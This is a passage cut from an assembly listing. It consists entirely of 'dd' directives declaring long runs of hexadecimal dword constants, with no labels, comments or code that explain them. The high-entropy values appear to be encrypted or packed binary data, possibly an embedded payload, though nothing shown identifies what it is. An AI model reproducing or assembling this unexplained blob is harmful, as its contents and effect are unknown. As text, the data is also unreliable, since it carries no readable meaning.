0C02FEFB3h, 0FA5FC645h, 29289A3Ah, 7F41FCF2h dd 92B4AD20h, 0B1D6B525h, 0B8BA03DAh, 0B12A1DFCh, 52F9D2E7h dd 5439FB1Eh, 5BE9B23Bh, 77E0FF10h, 133F19BCh, 4944AE55h dd 8003ABB3h, 0CB83DEC3h, 6E146DF9h, 0F7C57B8Ch, 0CF84C9BAh dd 8356481Bh, 0C2F9337Ch, 59FB24B0h, 6ECA055Bh, 6E90E909h dd 10BB9857h, 17C2A493h, 5D3210Fh, 0FC54B95Dh, 0E006C50Bh dd 6882FEA8h, 4C4C6B56h, 30D9FC55h, 5814C987h, 1DFA3084h dd 38D735A2h, 8101BFB8h, 51EBB1F7h, 0AB7DE633h, 0F15400A2h dd 504A6053h, 4C18FF81h, 0E103650Bh, 5F4E5ED3h, 2160C06h dd 0A24043Fh, 0A8769C28h, 4BAF10BCh, 0AC04F9B8h, 1B3447h dd 3CB808B4h, 16CE2CE9h, 45C888FDh, 0ED98E3A0h, 200AE22Dh dd 0F015A9F0h, 894ABD5Dh, 95A080Bh, 3B2F1A20h, 0D693D330h dd 7172FE35h, 884CF6FEh, 923AAACEh, 1FF90B37h, 0F821EFD3h dd 5B03D3C0h, 7AA582B1h, 487C2898h, 958F08E5h, 0BF783A1Fh dd 22B043C5h, 7EB05049h, 0D0D500D4h, 0FC0FEE8h, 0ED9A608Bh dd 1A7028EFh, 55931071h, 3B8A0DEh, 45A66D1h, 52C88156h dd 0CFECA82Fh, 54888BB5h, 38F82F09h, 0E2CFF5B1h, 5DAF6851h dd 0B313EE46h, 52085277h, 68570261h, 82681ACBh, 60824BC6h dd 24755576h, 138C0921h, 1B05FB03h, 31AB434Ch, 1A0FB5h dd 0C1815756h, 0CE16A282h, 0CAF82A2Fh, 0F83F6A2h, 0B358F189h dd 90BC2052h, 9CFA9FC7h, 0E1263C90h, 35406FA0h, 485D5515h dd 903A5058h, 939B217h, 72F6FF8Ah, 841070Dh, 0E7E56520h dd 0C2610005h, 0AB98FD29h, 0E59D8FBDh, 12FC1A5Ch, 0D1013DC5h dd 70DA8908h, 0EEEA5A49h, 1C5A3590h, 3DAB79BEh, 0F1A61096h dd 66D32801h, 6013D068h, 820956h, 0BC0AFCC4h, 0E1D2A063h dd 916516B0h, 15040527h, 0EB75BACEh, 0A4043900h, 9505CA80h dd 664A2F5Ah, 6FE95E02h, 0DBA95764h, 0FE7F4304h, 2931DADDh dd 0F7D74A3Fh, 568908A9h, 0A946983Eh, 0D8F61Ah, 402E8C0h dd 4CEB80C4h, 0E919C3E0h, 0B9BB2896h, 621EBE2Ah, 0E4942DF9h dd 0CFB627BEh, 88B093E6h, 9DBDF540h, 0FD3D0977h, 0E741EA4Ah dd 0CC76ACB8h, 95AF2DC5h, 0E14A1329h, 15B97EFFh, 0C1DF93DFh dd 243B2CB4h, 5214F87Bh, 39913CB2h, 93C2926Eh, 257A4908h dd 0FE8242B9h, 0FE880514h, 8250A1B2h, 0B7709536h, 4E8C5F4Eh dd 62D2BC14h, 0D003711h, 0F0AB5481h, 0ABD84FF7h, 21504105h dd 101234C5h, 7EBFC7EEh, 0AC34E9C4h, 0B9A64A01h, 0FEA6AE1Eh dd 0E0945C24h, 3202BF2h, 12E90F16h, 0DEDC4BEAh, 5FC4CA74h dd 0A3B6CBE0h, 8414D390h, 0C32BFDBEh, 8CFFBBB8h, 0D248DCAFh dd 9F5DDD40h, 75C9F3D4h, 680F8EE5h, 8CEF665h, 5351D327h dd 4CB0756Bh, 920416CCh, 0AB67E979h, 0A94F9ACFh, 0DB7D1602h dd 76856F37h, 0EBD17797h, 0CD38FEA7h, 9566C2B4h, 2E7D9D41h dd 4C7EBE4h, 7A0D79D0h, 196DC24Fh, 42848E09h, 0C0532233h dd 148B0D4h, 0BA524CB4h, 602E4726h, 8E972904h, 0CCCE89C6h dd 4F8EFC6Dh, 71A19733h, 2AFECDFBh, 0F170BA3Dh, 0E7825E2Dh dd 0F5512DA7h, 0B877062Bh, 0B75BE388h, 50181853h, 3E040DA0h dd 0F94C4E7Dh, 0A060E913h, 9E0BBB5Dh, 504A2007h, 2BE9869h dd 353353A6h, 8A60EBC1h, 0D5822AC4h, 0BD2543C8h, 3C90C4A6h dd 0DC3D89B5h, 9EA5EF6Fh dd 0C269F957h, 0A105DC68h, 2103E952h, 99421359h, 4AF8A023h dd 54B3800Fh, 7B91E611h, 24F68251h, 6BFBF14Bh, 9420F952h dd 3C7C9D14h, 23A25D25h, 0C6575D6Ch, 49FA9757h, 59CD0117h dd 2EE9BD90h, 0D1C895D5h, 0E6973944h, 0D4B22ADh, 9E7F2309h dd 0C2980E35h, 811C3B12h, 85061DDCh, 7BD857C2h, 73F405E6h dd 2D19E812h, 8C6EB1FFh, 0E559EB68h, 3E789E20h, 0C70058BDh dd 14473842h, 0A7983B98h, 214C032Dh, 0E6840FF0h, 0ED9DC53Fh dd 9531841Ah, 0BB535C03h, 3E2AD802h, 4C65F868h, 743309C9h dd 208E1597h, 25785A80h, 365FE955h, 83B1E180h, 0A4C16280h dd 0A17A428Eh, 62A8C09h, 5658051h, 755E71D5h, 25BAE852h dd 4077F994h, 945BDE92h, 0C110C2A3h, 0FEE5904h, 0B693D340h dd 6E4E1C4Ah, 0CF477D25h, 9D14F72Dh, 0ED13584Eh, 68F143F8h dd 85E43EC0h, 0FA0E4AF4h, 0BF837631h, 7AE90A0Ah, 0D089B426h dd 98F00293h, 621E5C0Dh, 877ADD01h, 810E7D5Bh, 7749C458h dd 1E853B95h, 718490FBh, 0B765366h, 0BD5A3EF1h, 85C9760Ch dd 0CBF1215Dh, 0FFB05A81h, 25681855h, 66AFC562h, 0F9EDB3C0h dd 0F678EE43h, 88425E1Ch, 141348FBh, 11CD4C1Dh, 0C022531h dd 5BC9FC5Eh, 0C802B4F3h, 1B3B94BBh, 2624764Eh, 25020057h dd 37305A5Eh, 6A8E925h, 9715241h, 172F75F1h, 70991C2h dd 0A9E1F000h, 77D4D56h, 71FBC901h, 9684413h, 0F0E3DCEAh dd 124A41E9h, 0FC24CB9h, 9EF01889h, 0E8BBD59Dh, 3D09BEF6h dd 7618D44Eh, 4D84B9D6h, 8020D31Ah, 472A9D5Fh, 97E9490Ch dd 4B5E48C5h, 28C5BE2Dh, 0D5CC3C91h, 0B2A3BE04h, 5B46CF5Eh dd 52D50DF6h, 5E078A10h, 0DAE131AEh, 0AFAC3F68h, 431564E0h dd 0FD203941h, 0E13841F1h, 0D28562C8h, 29E6F601h, 0C17840CBh dd 5FB84410h, 90A70EBCh, 263C705Dh, 0F51F81E8h, 794769A7h dd 87850F4Dh, 0EAE9B5A0h, 79719F7Bh, 0EE0B88h, 0AABDD88Bh dd 1124807h, 0A41DDDF7h, 7DA7B56Ch, 5449FFCEh, 0DDD1C533h dd 4A728FFBh, 451A10C0h, 464B4C06h, 0A5BE1C4Eh, 0FE8F4E5Dh dd 3A680156h, 0E939D175h, 0C17C3Ch, 0D310EA2Dh, 51D02923h dd 0BAF00705h, 53B02E43h, 0EB01C4D2h, 0B348C8A3h, 0FEF1900Bh dd 5D4A834Ch, 833224EAh, 22006708h, 0D433C725h, 1F603575h dd 0CB592C10h, 0D41ADE45h, 8CE500DCh, 0DB5FFBF8h, 3DBE4B18h dd 8DF73A59h, 2058FB2Dh, 88297B0Bh, 0D530576Eh, 0BB6C5F7h dd 0D1F9F643h, 8A2FDFDEh, 7559251Dh, 0E4899EC7h, 0EEB920ACh dd 90DC5209h, 0E5C67895h, 0F0E90840h, 3B90B771h, 5BC2F201h dd 9354555Eh, 82F2B4A4h, 2100BB5Bh, 0D4BE5651h, 918A1792h dd 963EBD89h, 0B3350EABh, 0CD694572h, 0B9128C3Dh, 0C2345D12h dd 46C93400h, 95B352Dh, 0B4E08F0Fh, 0E920387Fh, 28B55A79h dd 24CC046h, 5E7259DFh, 0E84D9BA0h, 3B5B58E6h, 0FB9D983Bh dd 0F85E563Ch, 0E0F65A07h, 59DD0C9Ah, 19E94123h, 93627217h dd 653FC6A4h, 0FBEE99DAh, 2D2505Eh, 976885A0h, 8A0930F5h dd 0AA11D215h, 50E7F801h, 57709D60h, 0B9175E66h, 0A3CADE13h dd 58ADBBA0h, 40C65F61h, 69CDE243h, 0DAFB6AAFh, 2605EDDEh dd 13F13132h, 0CB35CEEh, 81C8F988h, 0D1B515B0h, 0EBFF696Bh dd 94CC298h, 0CCDD9989h, 0AAFDFE97h, 0D6B88291h, 7A9ACAB9h dd 543A3573h, 4995EB13h, 0E1AE3513h, 3617C7E5h, 1E4B0E49h dd 14255CBEh, 3110FB46h, 72EB5B28h, 73D6A9CFh, 0F297541Dh dd 8FA5B553h, 0F5198EBh, 0F8FC720Dh, 1244EA07h, 153017Ch dd 0E16A5F4Eh, 3E548061h, 46FE2023h, 0C4E230E9h, 0E0C1586Eh dd 35E1D7A3h, 0DFDE411Bh, 6C87F15h, 0C0A140A5h, 0C05E801h dd 0D0870F80h, 0FA0A126Eh, 3A1E3091h, 97C1A324h, 0EBA0385Ch dd 2DAC3F20h, 0DD7C381h, 0B82F0C40h, 7D0C6991h, 0C059DC3h dd 61D54718h, 0EBE50C87h, 4AE90802h, 2F9AE667h, 3776665Ch dd 12195A8Bh, 0C1F9DD4Ah, 0C0F42A8Ch, 0F5879566h, 50685153h dd 0F7C8F925h, 5716B4F4h, 64FFAF2h, 0B19760A9h, 2E722181h dd 0F5FE01D5h, 5016D542h, 49CA818Fh, 37A22401h, 96898E0Fh dd 69E14864h, 0AEDF22AFh, 0D356436Ch, 548B698h, 2975D10Eh dd 0C41C4F1h, 0FC1E5E08h, 0BC5A840Bh, 25C1F051h, 84184357h dd 0C400369Fh, 5AD02103h, 0B819B305h, 0EA094B41h, 0A6BA18D1h dd 7D4A96Ch, 0C57F8E6Bh, 8D270BE3h, 913D8859h, 8403DD0Dh dd 29455911h, 8821CB6h, 0F84B3741h, 0F1F8279Dh, 54703E04h dd 90AA4112h, 4A09769Eh, 10DE7E60h, 0C117C959h, 980C0E2Ah dd 95E8821Eh, 5831765Fh, 84584A64h, 0B598FBCFh, 0BFB9582Ch dd 0EC7813DEh, 38FE4F82h, 0A32768DDh, 7AA17E23h, 4B7A070Bh dd 0E6064125h, 0C6E027B0h, 1A921DD1h, 0C99EE8B2h, 0A2295399h dd 5B4CA6E2h, 0F16F2927h, 6ABC08A6h, 0BA40BC28h, 9F08F65Fh dd 4E461A02h, 0BEBC0A7Dh, 12E3610h, 25160CB3h, 625BC26Dh dd 0A23DD844h, 8F24BB16h, 0CB66D4D9h, 0E09CE90Bh, 7E20285Ah dd 0C9B10F4Ch, 12E6D928h, 9C9E6F1Fh, 1723EB0Fh, 688E09B6h dd 0A55B2A2Ch, 3B45BA4Dh, 730693CBh, 606D252h, 0BF1C9F8Bh dd 620C3061h, 0B70F80CDh, 59F368C8h, 6F8D0E4Dh, 4ABC2B39h dd 9420F4A7h, 2A40815Eh, 0CC63A6D4h, 2827C308h, 7F2425EFh dd 0A8883F5Bh, 6BE97804h, 294F2A9Ah, 2F20A2A8h, 9F585062h dd 0E0E655A1h, 4AB4DE59h, 45846FADh, 0F3026914h, 92325EA6h dd 50338702h, 924CFBCBh, 7F5B6813h, 901C72A3h, 86189603h dd 41A106B6h, 5A233CA4h, 356277AAh, 9A30D1ADh, 0B05D686Ch dd 9A5AEDE9h, 0D27B6Bh, 62D7F38h, 350F335Dh, 3B3A7B00h dd 424C0571h, 0C0904F0Ch, 0E9FD2190h, 60BE1131h, 32DCC509h dd 0FD0ED2DCh, 0C8D6116Ah, 0AE2BA551h, 700B841Fh, 812A74EFh dd 0C92D7DF7h, 4808203Bh, 2CAA0195h, 4ACD5925h, 0E804D8C0h dd 0E8B30553h, 0BFB9CB80h, 0B2523980h, 5EE9713Fh, 0C05A8ACDh dd 88F1B652h, 0F9E988F4h, 32EA2F4Ah, 2977DE58h, 0CB5A5CF6h dd 3C4C0F4Ah, 7D28209Dh, 254A7C6Dh, 0C6D17401h, 0E92A0CA0h dd 0B87284BFh, 2EC37312h, 90E05BBh, 90A0E9DFh, 0D900588h dd 0B7811C3Bh, 810439DCh, 206EF38Bh, 0D960F7DAh, 6A0E9810h dd 24C14822h, 84AB277Dh, 2A3A9711h, 86011BD1h, 9306FD2Ah dd 691264FDh, 0A435BC82h, 0DEE83584h, 68D9BB4Bh, 407F67F5h dd 236CC52Eh, 1494CBDh, 5B08405Ch, 291F4593h, 9E0B4DE6h dd 0A1167D13h, 0FEC3F710h, 32881877h, 8B570EA4h, 5455DD12h dd 0C3719621h, 0B603CC3Eh, 6026099Dh, 124E2DE5h, 5369C943h dd 570F050h, 0AF8AD4BDh, 0A194A05Fh, 904DA443h, 70551EBh dd 0EF48C42Bh, 0F93C1233h, 4E380D84h, 1859C4A4h, 6749DC0Fh dd 71A7A5B1h, 0E7D50805h, 0CA3F712Dh, 0B8DB1278h, 0BFE8D27Bh dd 2AF121B1h, 49F24BBAh, 4C31ED80h, 0C1E8161Ah, 0D7B2584Ah dd 6FFD5925h, 9CC70BA8h, 0C172E0DCh, 9FA5858h, 95C55355h dd 5A12D384h, 8D040801h, 0A783FCADh, 95C2EE5Fh, 24AD0A53h dd 0F2BDEE95h, 0FCE0B88Bh, 5DEEFE01h, 0B68B66Eh, 803457C3h dd 0EFCF3440h, 22370105h, 6A12AA79h, 9F7DFF4h, 0EBC17BEDh dd 0CF27C05Fh, 0BD0E029Eh, 2D07E926h, 969555h, 0EF685257h dd 3625A539h, 72D45Ah, 0C70AE7A7h, 0EBBF77E9h, 0A8C5B13Bh dd 5A8ECE6Bh, 5A048DE6h, 0AF31E468h, 1C04B30h, 415C5837h dd 0C710BC04h, 0C5F2BF67h dd 16CB8717h, 198AFA9Ah, 0D2962C59h, 73786463h, 2D5AC358h dd 0FFC0EA9Bh, 7AE5E1F2h, 7B9DA517h, 9558AA0Ch, 0FECB4359h dd 6AE98463h, 8E4AB5F4h, 0F61217EBh, 16E98EB4h, 0BDFEEAB2h dd 7705CBA0h, 9D1252E9h, 0EE8EF506h, 0E9CE0168h, 8E7A8228h dd 0C06809FFh, 9ABE637h, 986655Ch, 0F712B9E5h, 0B02853FAh dd 23053554h, 104869Ch, 0FD28C1Ch, 2DEA60EEh, 51625842h dd 2395DCh, 0F180D9F6h, 47069FFDh, 1AB13052h, 0ACB1C12Eh dd 0B40E8EB1h, 66E60092h, 24F02058h, 1710525Ah, 77DDF9AFh dd 54D6E832h, 18A6E159h, 588BB838h, 5C5690FFh, 68530F56h dd 2D2962A8h, 0E2E42F82h, 440AF409h, 4CBA3090h, 4FCC2509h dd 397AF560h, 2FB5335Ch, 5E77869Bh, 0B41020D4h, 804FFAF8h dd 0C44777FBh, 14CB0E6h, 9505D003h, 0E134D22Eh, 0B23A03E3h dd 0D83FCBDCh, 184B7703h, 3E880E8Fh, 9C26EC80h, 2809EE51h dd 0D8E5DD57h, 92417888h, 7BCDA9EAh, 5BEB2664h, 0C2BAF8BEh dd 0F31C6668h, 74E904A2h, 4EB1307h, 38866073h, 1FF77D8Bh dd 4BD4F6E6h, 0B9901E51h, 0BA055205h, 3A91247Ah, 4DAE9E01h dd 96856537h, 81F508CDh, 6DF0440Ch, 754607CEh, 0C663B967h dd 57F5F920h, 91ED46Eh, 347E5F08h, 0A9F5E951h, 0FF647A92h dd 6857AAC0h, 0F8765E4Ch, 107BC48Dh, 0B40EAC16h, 0F35E0DFAh dd 0ABD90123h, 0CDAC2B92h, 0F3A9EEB4h, 2BCE8D86h, 3B256810h dd 161FE90Bh, 88F60E94h, 0B1011B94h, 66C8282Ah, 7BD55A20h dd 0F9CEA8E6h, 0B65F975Fh, 0B3C15C4Ah, 0ACF8A689h, 41CCD1BFh dd 7B148D68h, 0EC210AE7h, 71858A89h, 8FF82586h, 0B33B310Fh dd 7C59E621h, 0AD08951Eh, 0FDBF24h, 0F380DBF6h, 8EBC039h dd 2CAC0CC3h, 0E9D88056h, 0CE7D5A4Ah, 0F3646070h, 90E17895h dd 90D4B785h, 42963D07h, 0EF14DE9Eh, 7FEC4808h, 7EB3025Ah dd 4200082Eh, 0D60B9915h, 0A58A89FEh, 0F8E62520h, 1158A914h dd 2FB5757Ah, 0FEAFBC3Dh, 2A7EBE34h, 0BF8163CEh, 5806F67Ch dd 16B9D329h, 0BB47F9E9h, 237173CAh, 0FCA5FEEDh, 0AA0513B3h dd 55D63EB1h, 0CB90E5D8h, 45BB8888h, 56143A0Fh, 0BF1A7D4Bh dd 0F763FD46h, 0E0B9CABh, 0D8DBF75Fh, 376825BBh, 230209FCh dd 404F1A05h, 7D433046h, 978B907Dh, 99A0C97Ah, 49173C39h dd 2FA2969h, 9E2CEFC8h, 0C96E4DFh, 3B8873B3h, 8C30E910h dd 89C2DDD3h, 0F87412C9h, 2755B831h, 0EC30EFCh, 0D7BFE4F0h dd 63335992h, 0D9D193DAh, 9F2847C9h, 0FCCCD4B7h, 4C2F5DEDh dd 0E951F076h, 88425919h, 0CCFD3076h, 74B5BE0Ch, 0E07E4C31h dd 0DFD3789h, 0F8C99700h, 0BEE9F209h, 0CD8EA8C7h, 0A5D2BB0Eh dd 0E1030153h, 15AD789h, 9D647B18h, 44FB2942h, 0E90804D5h dd 5AB0B8A5h, 0C8C4B3A2h, 4D680284h, 62405C12h, 70B351Fh dd 59609117h, 98163964h, 150A55ADh, 4C1BE97Eh, 40B95C07h dd 0E6B696ABh, 8A310269h, 0CD2902EEh, 7720E944h, 56619530h dd 0D081D32Ch, 4410E304h, 0FC4AFE35h, 85062F44h, 0D9EE89A2h dd 5C9D009Fh, 6212204Ch, 707D601h, 3127231Ah, 0D1BEEDE3h dd 53FACEF9h, 0BC5A1318h, 1E40E644h, 0F1FE7F98h, 7E295D34h dd 520B5010h, 658AD3F5h, 0ADCBE90Bh, 0DE96B2DCh, 0AA8457BBh dd 93A04779h, 0C49CB2h, 0B753C4FEh, 0FC4B204Dh, 2A05F165h dd 0CD2CE30h, 7CFB81C3h, 285B48h, 0F00EFA4Ah, 4E036CE9h dd 890F1240h, 0C377C722h, 183B1C07h, 0E5311556h, 0F7C62FD8h dd 4B589818h, 42F250C0h, 20E94A87h, 2D059909h, 296660F0h dd 0E9C21AFCh, 7957B5BCh, 313A0259h, 51552951h, 0BAEE1DBFh dd 0E9450702h, 175A68BBh, 5DE268BFh, 3C8AF655h, 3377F534h dd 51B4ED83h, 0E5052DE6h, 159527B9h, 0A8FBF31Ch, 0C65A8306h dd 9E3514BBh, 282E3D31h, 6AFD7ADDh, 91C9B627h, 74D53BC7h dd 3CD68EAh, 505A0940h, 90CA8158h, 50DF40AAh, 2CCDB805h dd 8C0C69ADh, 25C3599Ah, 78820603h, 13D57C5Dh, 2BC0C021h dd 49453F86h, 49C16118h, 7D4F2768h, 7149AC25h, 8CAFDD51h dd 0C4F1992Bh, 0DE1D4A5h, 0CB72DEF5h, 0C18B963Ch, 65FD837Bh dd 0E7602C94h, 0B8615902h, 0CA1F2C4Bh, 0AD087AFEh, 57520B1Eh dd 2BFDA439h, 0DCBE2413h, 5BD489EEh, 61070816h, 980D0429h dd 0FF37AAFEh, 0CABDD9A5h, 0BDA7D73Bh, 0FF9504F8h, 56B72ABEh dd 55E9705Eh, 6AE2154Ah, 4E5CE9A0h, 596ABBBEh, 53BBBE47h dd 95E2A577h, 0D0FE5E57h, 5B95E4A8h, 5D5F89C8h, 6B99F9F5h dd 57F2E05Eh, 938B451Ah, 0B525EB44h, 87B8699Ch, 0A8FB22E0h dd 2F5EF59Fh, 0DD60E5C1h, 0D49D11B6h, 0E8206199h, 513D6F66h dd 0EB70C461h, 1643B658h, 0C48CEF3Fh, 24334B75h, 5F962184h dd 50222D17h, 2B4F5070h, 9F93EEFh, 0D9362068h, 0B09A92EAh dd 0ED3280BBh, 61E6069Bh, 0CAF9B69Dh, 48622ECFh, 1361063h dd 1EF0CD81h, 8DC8420Fh, 195A6026h, 0AC06A5E5h, 77253AB0h dd 0E4B376E4h, 946B21D2h, 71517492h, 2EB23572h, 0F1F75021h dd 43C3DFE9h, 4C34FF14h, 0BAA813Fh, 66D5FEA1h, 0AB512AF5h dd 56D124D3h, 1CC5016Eh, 352918BBh, 1C0806D6h, 18E72DB5h dd 0E9F3426Ah, 90F5469Dh, 0BC978425h, 39B13EE5h, 2A29315Fh dd 0BD809EACh, 41A93F70h, 0AA50E8A2h, 80B6581Ch, 0F1374E3Bh dd 281FC390h, 648898F3h, 0BBAC3EB8h, 0F0923D87h, 0C7A7A02Ch dd 76FC093Dh, 8DF7007Dh, 4776EB79h, 7C9C6EE9h, 0E567B20Eh dd 4592D0B4h, 451241C1h, 29305C01h, 93B41061h, 44F7B825h dd 9FF9D78h, 0FC9F09DFh, 0C331626Fh, 6B7F71C1h, 80C03E09h dd 3DE680A7h, 7FC672FEh, 9C5A25CEh, 1F8BAF7Fh, 0F3AF2D66h dd 2317093Dh, 6390EA77h, 7985CC33h, 0D7FF2BC4h, 5452FC9Fh dd 0C1FBA264h, 5B56F8AEh, 2B9E2DAAh, 5F8494F2h, 7C6802FEh dd 97F5F972h, 0CF85FAEDh, 5F8EB7BBh, 3A27038Bh, 60116868h dd 0E13F1B82h, 0F724C580h, 0F6E74AA1h, 4E2F48B0h, 0CA318EFh dd 39246CCCh, 56166D43h, 0CD334F9h, 83659D43h, 336A02F8h dd 0A1127A86h, 3C7864E2h, 0EC58F347h, 5CA00C9Eh, 3816EA4Fh dd 8305034Ch, 0CDFFB11Bh, 80642BE9h, 0A683C8EEh, 53B4644Ah dd 26D70EF2h, 0CAC00729h, 0C775F9Ah, 1BBF570Eh, 90F9E4Ah dd 220373FAh, 0EC2CC0B8h, 292FDBFCh, 53831CDBh, 10354D68h dd 4BF87DDDh, 0E2EF6612h, 0BDBDD38Dh, 0D8038304h, 0F4E4FA57h dd 0FD9805D9h, 4EF8987h, 0EEAD5C5Ch, 0BED297B2h, 25E95E8Ch dd 5048923Bh, 689F97C0h, 9FA8AD13h, 0E9895373h, 0F7DBAB40h dd 74A7C4E7h, 0BCD92D2Ch, 8527316Ah, 0CC1F7CFh, 0D86AD45Eh dd 24A1566h, 0E1BAF035h, 84B87B55h, 0D5FDAFE4h, 9D400300h dd 0B591E973h, 0BD01FB95h, 220B15ADh, 0DFFC1AD5h, 0E0826082h dd 284594DDh, 2F895854h, 38793F32h, 516EDB89h, 1F7DA82Ch dd 80513E6Ch, 5FE3CE0h, 0F094959h, 0A3F8E48Ch, 7A33D85h dd 88E8B646h, 0E92994F4h, 3CEF0215h, 8F5D9A68h, 8C70AFFh dd 0A3099A24h, 0DC3BDDA2h, 759E0D61h, 8B2AFEE5h, 0B4500FD2h dd 0E9CCC157h, 346A845Bh, 2DA9BA96h, 0A8E1C316h, 6583C5F5h dd 2E84DAEh, 76764706h, 535E5D01h, 0FC8079F9h, 58128D3Eh dd 0D6EAE90Bh, 4ABB7DFEh, 0EFBD16E6h, 505200F3h, 9E2877B8h dd 0A4B86A5Ah, 117B6478h, 48FAED05h, 13EC20F9h, 615AE168h dd 3BB4AE6Bh, 4F680970h, 2D3D9259h, 0FB5A7A74h, 0CD4C8290h dd 1BBCD2E3h, 342A1C7h dd 0F838410Eh, 4D388439h, 11A8C5E9h, 0BD37FF4Eh, 5C227C3h dd 236BB18h, 0E33A81AFh, 426DAD9Ch, 0AF6755Bh, 732E680Eh dd 80B9A163h, 32E93EF5h, 0C6C1750Dh, 0F69ED0F7h, 58B455h dd 880FCBFEh, 7AF12246h, 68F0BAA8h, 50912A36h, 5A4323ADh dd 75FCFDE9h, 9F0BCA40h, 0D15D8F09h, 0DDCBB0Ch, 76E9030Dh dd 6A1F2574h, 5B5DDDDFh, 50610C10h, 251706B1h, 3FB86A11h dd 0CA10950h, 4D69C97Ah, 6E12840Eh, 60A89385h, 28F0092Dh dd 80914A20h, 301BF5BDh, 0EA0C25D2h, 0D626DDF7h, 0ED808F89h dd 6D307666h, 81FD4C01h, 275F0840h, 135F07E9h, 0AFD0C263h dd 0DCB7ABA2h, 0CD772728h, 0C47D1239h, 1634BC48h, 61AB315Dh dd 6BFDE9AFh, 33B5CD16h, 0D8282CE5h, 5555316h, 0EB582807h dd 72AA2B00h, 6229967Fh, 25529CFDh, 8FA25C0Bh, 611E2E26h dd 2BA5C45h, 59D08A7Eh, 2F7F562h, 51FAD461h, 0C68B692Ch dd 0BF2E2C94h, 0C1ADC0B3h, 916AD51Dh, 141E081Ch, 631700EBh dd 521C6064h, 4295BA01h, 46E9578Fh, 8AC7122Bh, 53BB5E74h dd 0CEF900F0h, 7E184380h, 488AFEC1h, 72311647h, 0A84F0878h dd 4B20E67Dh, 7B31A7DFh, 0AAC0EE5Eh, 2728D8B4h, 2C5F58E6h dd 4B2AC661h, 0BA837453h, 0FE0225DCh, 4D7E952Ch, 0C19B8358h dd 5225C1D7h, 48C8F60Bh, 1BC06E36h, 2E4573EAh, 0E2C11658h dd 0A2FE0104h, 0E752D61Ch, 240502FBh, 0B4156A90h, 0E03B70A1h dd 0FA99F96Ch, 0DF396D0Bh, 8DCF3B30h, 0B24764BEh, 0AA89C089h dd 0BD8BB2EAh, 76F00158h, 0AD574F28h, 0C7748617h, 0C93622F8h dd 0D2A09226h, 86BCB6A3h, 0D03CCA51h, 66410789h, 8B6BD85Eh dd 0E5C02EC1h, 86205303h, 12C76380h, 0C3005EFh, 3075064Dh dd 3172C9FDh, 0F594AA1h, 0ACF16AB7h, 1D0C4BD5h, 1CFE8E2Fh dd 0EAD986DFh, 3CF4B3E6h, 0BF4916ACh, 9783DC28h, 0B08BB9F3h dd 971A3699h, 9FDE96D5h, 68F978E8h, 83991AE2h, 12FC5094h dd 23A330B3h, 1E55E305h, 2DE6C00Ch, 32134B39h, 6E03D2F7h dd 0E1360631h, 9C20D729h, 0C83581CEh, 40060D22h, 0BD138F0Fh dd 1E5D9D16h, 0F15A5FEDh, 5068B43h, 0BFDB80F7h, 5CA7555Dh dd 6F06AC71h, 0C1C6E40h, 99C89D00h, 53652D6Dh, 1510A15h dd 2F0705F8h, 5516A066h, 41B1AFE9h, 0AB936623h, 8B2CE19Ah dd 315F85FAh, 9708E2C5h, 4F5683E0h, 0F4C5AEBEh, 3B3FB5AFh dd 3A5067ACh, 0B35E0FDh, 4E9C15Bh, 0F780980Eh, 1AD9F22h dd 2D5FCB5Ch, 0B5F8437Fh, 0DC841DA9h, 2779E3D7h, 444BF458h dd 0B9D3D2E8h, 96B5D4E6h, 52562598h, 95A33C7Dh, 0D77AD1FCh dd 0E927A2C6h, 99C039Bh, 0DBC0B9C6h, 6176E224h, 0EE800A8Dh dd 0FCF431BAh, 5CB761E0h, 12834AA7h, 0D3674478h, 0FE5F0BA7h dd 5EF77055h, 54DD397h, 0EB1C4709h, 0ACD7C78Ah, 9FB755C1h dd 2894B028h, 0DD0BE7E1h, 4E5F60E2h, 2160BF49h, 6C251735h dd 2CF77C57h, 0FB20092Ch, 72C2EAFh, 5D4A1D12h, 0F8AA9AD4h dd 0DA8916E0h, 87FC770Dh, 0A684370h, 2DC25B95h, 669B09F9h dd 81619844h, 927A3D8h, 40283E20h, 0DB5CBECCh, 137E3DB4h dd 0D998E80h, 4AF4A76Eh, 4CC425E2h, 26A7FA55h, 0A4189394h dd 2D5A72CBh, 0C75B0101h, 0BB840F33h, 7A288E65h, 66FC2082h dd 0DBE477F6h, 0B08050D3h, 0EA5866A6h, 335978F1h, 4416AEC9h dd 22CDCB83h, 5D7A5859h, 0D4D671E7h, 0FE5BFAE9h, 57293262h dd 0E9C154F4h, 533FB1CDh, 0F032007Ah, 5B7FE030h, 22276B91h dd 3E30D23h, 510013E8h, 0D6686C9Dh, 0B75CB0h, 872D2C98h dd 529ADDF5h, 921E0502h, 52810FA8h, 5BF800E8h, 4BBA6660h dd 0F5785079h, 0A7AFC0BDh, 29ACBD5Dh, 0C5000F2Dh, 0E1BFCF83h dd 4860F9A6h, 1E007498h, 8A12C9BDh, 0E0C29BD7h, 0F7A0767Bh dd 50F7D4E3h, 0BE51C25Fh, 97411800h, 33FF5829h, 0F5B5038Bh dd 5F07FA2Bh, 8360F2BAh, 0DE2C2FC8h, 4025165Dh, 19A0B3Dh dd 89603C2Bh, 0BF068D85h, 6140F332h, 4E1C1666h, 0D752007Dh dd 0A9852957h, 8F262560h, 48A0B403h, 17E7583h, 5EEFC280h dd 8F10E94Bh, 74A6FD9h, 3BB0F441h, 20760AEh, 7301EB40h dd 0D177C061h, 850F04CAh, 0BEFF979Eh, 5A6E17F8h, 0A3DFED00h dd 0A666FD3Ah, 3D8F0060h, 524DB3FEh, 0E400A7DCh, 0C4367DB9h dd 96CC4Fh, 79E6F729h, 9025C5D2h, 0DDFAE40Eh, 0C089C09Dh dd 7C9BD676h, 0B9101D3Dh, 0FD2880C3h, 0DD0855C5h, 50A42531h dd 45AA799h, 0B1D20CC3h, 6C271075h, 1EC5F85Eh, 1E0F75Ah dd 6DB02721h, 28A1FC9Ah, 9903543Ah, 662944D9h, 0AD44D508h dd 0B422844Dh, 3D324242h, 8479C448h, 44493722h, 0AA00821Eh dd 0E26DDA7Bh, 4F4BF24h, 962985FFh, 62C5C0B3h, 0A30B2086h dd 0DAA147h, 95843101h, 6B78043Fh, 0C0628C32h, 5C2B14B4h dd 4DDD900h, 0B29A5831h, 2E57004Dh, 0C70A28Ch, 0E3EC54A9h dd 42DD1D00h, 0E2863303h, 0C36900A3h, 728D3E24h, 0F0009A59h dd 18C61498h, 0EAB82F46h, 5F780030h, 0A0490771h, 751D2124h dd 58070E3h, 38DA3F8Dh, 0C00D0098h, 0EA29178h, 0EE003B53h dd 56E2DA9h, 76A8F93h, 635B620Bh, 2444309Dh, 12396B8Ah dd 0C8DD80BCh, 